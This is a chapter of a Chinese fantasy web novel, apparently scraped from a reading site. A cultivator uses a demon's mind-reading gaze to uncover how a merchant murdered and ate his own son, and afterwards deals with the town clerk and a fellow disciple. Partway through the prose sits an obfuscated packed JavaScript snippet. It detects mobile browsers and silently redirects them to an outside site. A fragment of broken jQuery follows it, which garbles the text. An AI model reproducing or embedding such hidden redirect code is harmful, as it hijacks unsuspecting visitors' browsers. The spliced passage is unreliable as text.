默认冷灰
24号文字
方正启体

9. 第九眼 余恨

作者:鼬饼本书字数:K更新时间:
    可惜眼下不是能捧着剑灵稀罕的好时候,灵力逆流的瞳术不能支撑太久,而叶於年心底还有不少疑问未能得到解答。


    比如,既然红蛇,更准确来说应是狐狸,向少年“借皮”是为逃跑,那它没道理冒着无法全身而退的风险,在众目睽睽下,咬烂元义的脑袋。


    总不能所谓“重要之物”是指元义的脑浆吧。


    叶於年定了定神,问黑羽蛇:“它现在是打算守约去杀元义?”


    如他所料,黑羽蛇不屑道:“开什么玩笑。”


    从一开始它们就没打算应允少年的祈求。我为刀俎,他为鱼肉,凡人没资格和它们谈条件,没资格让它们为之冒险。


    “杀人事小,但太引人注目了……”


    所以狐狸杀元义并非自愿。


    可能“借皮”本身对妖魔有牵制,迫使它必须替原主完成心愿。


    也可能是“借皮”并不稳固,少年对元义的杀心又达到了极致,以至于狐狸机缘巧合上了画舫后,身体失控了。


    元义尸体上有人手堵住喉舌的痕迹,杀之未用术法,所以后者的可能性更大。


    叶於年晃了晃椿岁的手,再度向剑灵求教道:“狐,有,人,魂,魄,否?”


    被晃手时,剑灵的指节会下意识弯起,用平整的指甲在他手心不安分戳来戳去,语气也十分轻快:“命魂还在,魄……忘啦,反正不太全。”


    少年的魂魄果然还未全消。


    一个凡人的仇恨,居然能反控身为魔毒的狐狸。


    叶於年心念微动,稍稍有些急促地再度开口问:“你用瞳术在那人心里看见了什么?”


    瞳术能攫取人心的悔恨与恐惧,以此摧毁中术者的理智,让其迷失在幻境中,对亲友刀剑相向,或含恨自缢。


    碰上叶於年这等心智坚定的,倒只能抽取几个含糊不清且怪诞扭曲的片段;但换成主动想倾诉仇怨的少年,心魂很难不被看透了底。


    黑羽蛇幽幽道:“无聊的东西。”


    叶於年眼前的景象应声扭变,最后定格成一条脏兮兮的小巷。


    以他对永古上镇的熟悉程度,哪怕没进过,也能依稀辨认出,这是天仙楼的后巷。


    来货栈的路上,小吏曾简单对叶於年说过少年的情况。他年十六,认识的人都喊他“半两”,因为他是被天仙楼用半两银子从他父母手里买来的。


    半两性子孤僻却很安生,做事也麻利,挨打了也不吵不闹,总是悄悄躲在角落,让人想不起他的存在。


    叶於年不意外半两会是这种性子,在泥潭里打滚,就两种人活得长久:一种是舌灿莲花,会出糗来博大人开心的滑溜子;另一种就是像半两这样,逆来顺受,做条留着永不亏本的哑狗。


    那天,半两撞见一个打扮得干干净净的小孩,翻墙都翻不明白,就敢摸到后巷来。


    半两上前把人给逮了,一番盘问,方知小孩名叫元进鑫,比他还大三岁,他爹是天仙楼的常客,日夜挥霍把他们家底都掏空了,他娘为此日夜以泪洗面,他气愤下偷偷跑来,想看看天仙楼里是不是真住着天仙,把他爹勾得三魂没了七魄。


    听此,半两谑笑道:“傻缺,这事跟有没有真天仙没关系,只跟你老子管不管得住身下二两肉有关系。”


    元进鑫涨红了脸,和他吵了起来,最后甚至扭打到一块去,结果谁也没占着便宜,反倒都打饿了。


    俩小孩情绪来得快去得也快,元进鑫擦了擦变得脏兮兮的脸,从兜里翻出一包酥糖,分了一半给半两。


    而后一眨眼的工夫,元进鑫就变成了十八九岁的青年模样。


    叶於年无从得知他们中间岁月里发生过什么,只看得出他们成了朋友,还是极要好那种。


    毕竟感情不深,不足以成梦魇。


    “我娘下定决心提和离了,回利州去,听说那边战事停了,能讨个安生日子。”元进鑫和从前一样,蹲坐在后巷的石墩上,声音却变了不少,带着读书人的温润感。


    “好事。”半两也到了换声的年纪,声音哑哑的,有点冷淡。


    他顿了顿,问:“你跟着吗?”


    元进鑫:“得跟着,不然谁照顾我娘。”


    说完,他俩都静了下来。


    好一阵,元进鑫才主动打破僵局道:“不过和离得双方到镇衙盖印,爹他到外城做买卖去了,明儿才回来。”


    “我在想要不劝娘直接走了算,和离书的事再想办法。爹这些日子老说得了神谕,我……说不上来,反正怵怵的,总感觉再不走,会有不好的事。”


    “能有什么事,”半两闷闷道,“你就是想急溜离开这,硬给自己编理由。”


    “没,”元进鑫连忙反驳,双眼死死盯着半两,说,“我舍不得你。”


    他像是下定了某种决心:“你要不和我们一块走?我这些年存的钱,够把你赎出去的。”


    “……你银子不是存着开医馆的吗,花我身上干哈?”


    “医馆不急,人比较急,”元进鑫笑着说,“其实来之前,我就自作主张问过我娘,我娘说挺喜欢你的,乐意再添个儿子。到了新地方,我们可以一起改新名字,你想去外面做工,或者在医馆帮忙都行,全都依你,考虑考虑吧。”


    “成。”


    “成什么?”


    “跟你走。”半两没好气道。


    “真的?”元进鑫难掩欣喜,快着嘴皮子又说了许多,最后深吸一口气,问,“那你今晚还来我这学字吗?”


    “哪敢不来,”半两语气听着像不耐烦,又像在笑,“照旧戌时来敲你窗。”


    半两明显是失约了。


    子时的更声响起,掺杂着半两气喘吁吁的呼吸。叶於年眼前的景象,变成了一扇紧闭的木窗。


    半两抬起手,裸露的手臂上多好几条用藤条抽出来的淤青。他在窗边敲了十几下,都不见动静,于是贴近窗缝往里瞧,发现元进鑫不在房中。


    半两找了一圈,场景也随之快速变化,最后停在元家祖堂前。


    他躲在墙边,借着支窗的开口往里瞧。


    祖堂内烟云雾绕,说是出了城的元义握着酒杯,站在元家的列祖列宗牌位前,旁边是他那已无生机的发妻,手里掐着的,是已然被凿子凿穿脑袋的儿子。


    半两的视线正好和奄奄一息的元进鑫对上,他眼睛蒙着灰,却还是尽力张合着嘴,默声说:


    快走,别管我。


    元义高举起酒杯,红光满面道:“元小大夫妙手回春,定会为生你养你的亲爹治好穷病的,对不对?”


    说罢,他将杯中酒一饮而尽,摇摇晃晃将元进鑫脑袋上的凿子拔掉,而后如野兽般就着破口,咬了下去。


    一口接着一口地。


    元进鑫连痛呼都无法发出,双眼发白,却始终盯着半两所在的方向,无声重复着:走。


    眼前一切渐渐被血色占据,再看不清别的,耳边也只剩下半两的啜泣声。


    他恨。


    恨元义,也恨自己。


    弱小至此。一年到头只寻到一次接近元义的机会,想下毒,可想尽办法弄到手的毒,还是被宣判说杀不死人的。


    正因无力到极处,所以纵使妖魔,亦可叩。


    叶於年借着半两的双眼,可以清晰看见,在元家祖堂正中,摆放着一面石盘。其上刻画着他永生难忘的图样。


    「年年乖,要藏好了……」


    叶於年呼吸停滞,手不自觉哆嗦起来,好在很快感觉椿岁捏了下他的手心,令他心神由骤然放松了下来。


    他咬牙问:“元义究竟何人?他捉你们想做什么?”


    黑羽蛇被叶於年的声音一惊,颤道:“不知。明明确实只是个凡人。”


    叶於年吐出一口浊气,改问:“你们是怎么被捉到这的?”


    眼前快速扭变出不同场景,没一个定性。黑羽蛇迷茫道:“不知,醒来就在这,有针对鳞族的禁制,我们出不去。”


    怎么什么都不知。叶於年语气冷淡:“魔毒要寻的重要之物是什么?”


    “它没告诉我,不重要,只要它不去云璃就成……”


    瞳术对人心神的影响由强渐弱,反噬到黑羽蛇身上也是如此。叶於年又接连问了几个问题,都没得到有用的答案,脸色愈发不善。


    这时椿岁冷不丁发出了一声提醒:


    瞳术要撑不住了。


    叶於年赶忙接着问:“为何它去云璃沼会害死大家?”


    黑羽蛇一下激动了起来,喉舌发出“嘶嘶”的响动,哑声道:“因为它是毒,会让所有鳞族入魔的毒,它不能去云璃……”


    叶於年闻言瞳孔一缩。


    对了,椿岁嘀咕过黑羽蛇是“快要坏掉”的。


    他一抿唇,不等瞳术自行瓦解,就先一步抬脚,用力跺在腰刀的刀柄上。


    “哇哦”椿岁高兴的感叹和黑羽蛇痛苦的嘶声同时在耳边响起,眼前扭曲的景象全消,取而代之的,是剑灵那张漂亮的脸。


    “苏度勒欸啦。”


    回来啦!


    椿岁盯着他的眼睛,手里抓着刚偷得的册子,笑靥如花道。


    不知为何,看见剑灵,叶於年心好像一下安定了下来。


    他对椿岁点了点头,松开与之交握的手,快步走到小吏前为其探脉。发现小吏只是晕过去后,从小包摸出针囊,取银针往其指尖正中的十宣穴用力刺去。


    小吏很快就被剧烈的疼痛惊醒,惨叫出声。叶於年在人反应过来前利落地拔掉针,从包里摸出传音符纸,淡定问:“你们说元义的妻儿是因走水而死的?”


    “是呀,烧得骨头都快成渣了。”小吏愣愣回答。


    “当初仵作验过吗?他们头骨有无被撬开的痕迹?”


    叶於年一边说着,一边尝试传音给巫如。可巫如估计已到长鸣剑山,小通符令的传音符离远了就不起效果。


    “没,没呢,当时元老爷回来发现家没了,说自己在这伤心地久留心痛难耐,急着给妻儿下葬,再加上是明摆着烧死的,就没啥好验,所以就……”小吏怯怯道。


    “没啥好验?”叶於年反问。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560224|186934||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他声调古井无波,听不出情绪,却莫名让小吏发怵。


    “就没人觉得此事不妥吗?”叶於年又问。


    小吏想了想,小声说,“有是有,就那半两来告过,咬死说他看见人是被元义敲颅食髓而死的。”


    “可是吧,当时人都落了葬,元老爷也已经出了城,且他是在火烧起后第二天晌午才回来的,进出记录都齐全着呢。咱们镇使老爷以为半两是在故意生事,赏了他几十板子吃……”


    小吏听见叶於年笑了一声,可脸上却没笑意,讽道:“总给人做糊弄账,就不怕自己摊上事也被糊弄上了?”


    “你们仵作在元义身上发现的那大疮,应当是人痾疽。”


    正常来说,凡人只有到寿命将尽时才出现五衰之相,可食人肉者,若无灵气护体,在沾染同类至秽之气后,会提前引发“秽衰”,进而神识昏沉,肤体流涎,逐渐生出一个个毒疮,是为「人痾疽」。


    也有传说,人痾疽同时是天神见凡间易子而食的景象,在震怒下所降的天罚。总之,在凡间是种无药石可医的绝症。


    一般得了人痾疽,身上的疮不出半年,就会遍布全身,可元义身上的却被抑制住了,一年过去,唯有肚皮留有毒疮印,要是没人扒他衣裳压根看不出来。


    这不是寻常人能做到的。且还能给妖魔下禁制,并用其泡酒,再加上他对妻儿做的事,元义身上问题不小。


    叶於年说话时,手上还在捣鼓他的符纸,尝试改去传音童翦忆。然后不出所料,这粗心大意的家伙压根注意不到传音符小小的灵流。


    叶於年默默将符纸收起,对小吏下了论断:“元义吞妻食子,圈养妖物,自取其祸,还累及无辜。”


    “我现下还有别的事要办,你们派人查清他近几年曾与何人相交,又是跟谁做的生意,归纳成册,同他的尸首一起送去长鸣剑山。”


    “地上是半两的遗骨,你替我寻人将其入殓,就安葬到……元进鑫的墓旁。”


    小吏面露难色。


    半两这种无亲无故,从风尘地里爬出来的小鬼头,能给他在乱葬岗刨个坑填点土就不错了,谁能有心思给他办这种死人差,还要安葬到正经人家坟边上,这不纯闹吗?


    小吏刚想推脱,就见叶於年递来了三十两。


    叶於年嘱托道:“他们二人生前是好友。事你自己办就好,别出差池,明白吗?”


    别说是三十两,十两都够平头百姓买具像样的棺材,安稳落葬了。


    银两一出事情就变好办了起来。


    小吏当即换上一副笑脸,答应道:“这事定给仙长您办妥。”


    椿岁对银钱的理解还停留在剑主教的“买卖”里。见叶於年把钱给别人,却没有收回来任何东西,他问:“‘买’咩?”


    “慰藉。”叶於年用今音回答。


    “太平世下,有太多不平事,总需有所慰藉的。”


    椿岁听着剑主低声呢喃,里头的好些字眼他都有印象,可话绕得厉害,组合起来,他理解不了其中意思。


    唯一清楚明白的就是,剑主这会儿并不高兴。


    椿岁盯着叶於年在阴影下不显明亮的双瞳,觉得不能放任不管。


    推己及人,因命契的存在,他看见剑主会感到高兴,那理所当然的,剑主看见他也该高兴。所以他暗戳戳踢了脚地上的腰刀,又一次毫无预兆地上前双手捧起叶於年的脸,硬逼对方看他。


    “别,”叶於年不知剑灵闹哪一出,握了握他手腕,试图沟通,“有,事。”


    “我也有事,”椿岁仗着自己能敏锐感知灵息,临时扯了个借口出来,“‘六师弟’又来了。”


    叶於年听到这话一顿,急道:“化,回……”


    “大师兄你上这边了怎么都不给我说一声,害我在河边问了一圈才找到来。”


    来不及了,童翦忆快步来到货栈门边,还没迈进来,眼睛就死死粘到椿岁身上揭不下来。


    “天呐……”童翦忆惊呼。


    叶於年已想好怎么解释他本命剑化灵,却未告知师门这事了。


    “我知道你!”


    童翦忆惊愕得连话都说得比平常利索了:“你就是三师姐口中,因样貌出众而被误认为小娘子,稀里糊涂与大师兄定了娃娃亲,自此和大师兄两小无猜,竹马竹马,互相心许,结果因个长太高而露馅,又因男风不被家人邻里接受,被逼着退亲,一气之下跟随着大师兄远赴咱们长鸣剑山,被大师兄金屋藏娇好几年,前几天才不小心被我们发现的……那位相好!”


    叶於年:?


    椿岁:“咩?”


    一个敢编一个敢信。


    剑练多了,脑子都容易出点或大或小的毛病。童翦忆沉浸在他三师姐构建的苦情故事里无法自拔,同时又带了点不耻下问和勤勉好学,问:“不过你身法怎么这么好?居然能一下在所有人面前隐去行踪,连师尊和八师叔被你骗过去了,能不能教我,我也想随时随地开溜,我真不想听讲宗门史了……”


    椿岁依旧:“咩?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)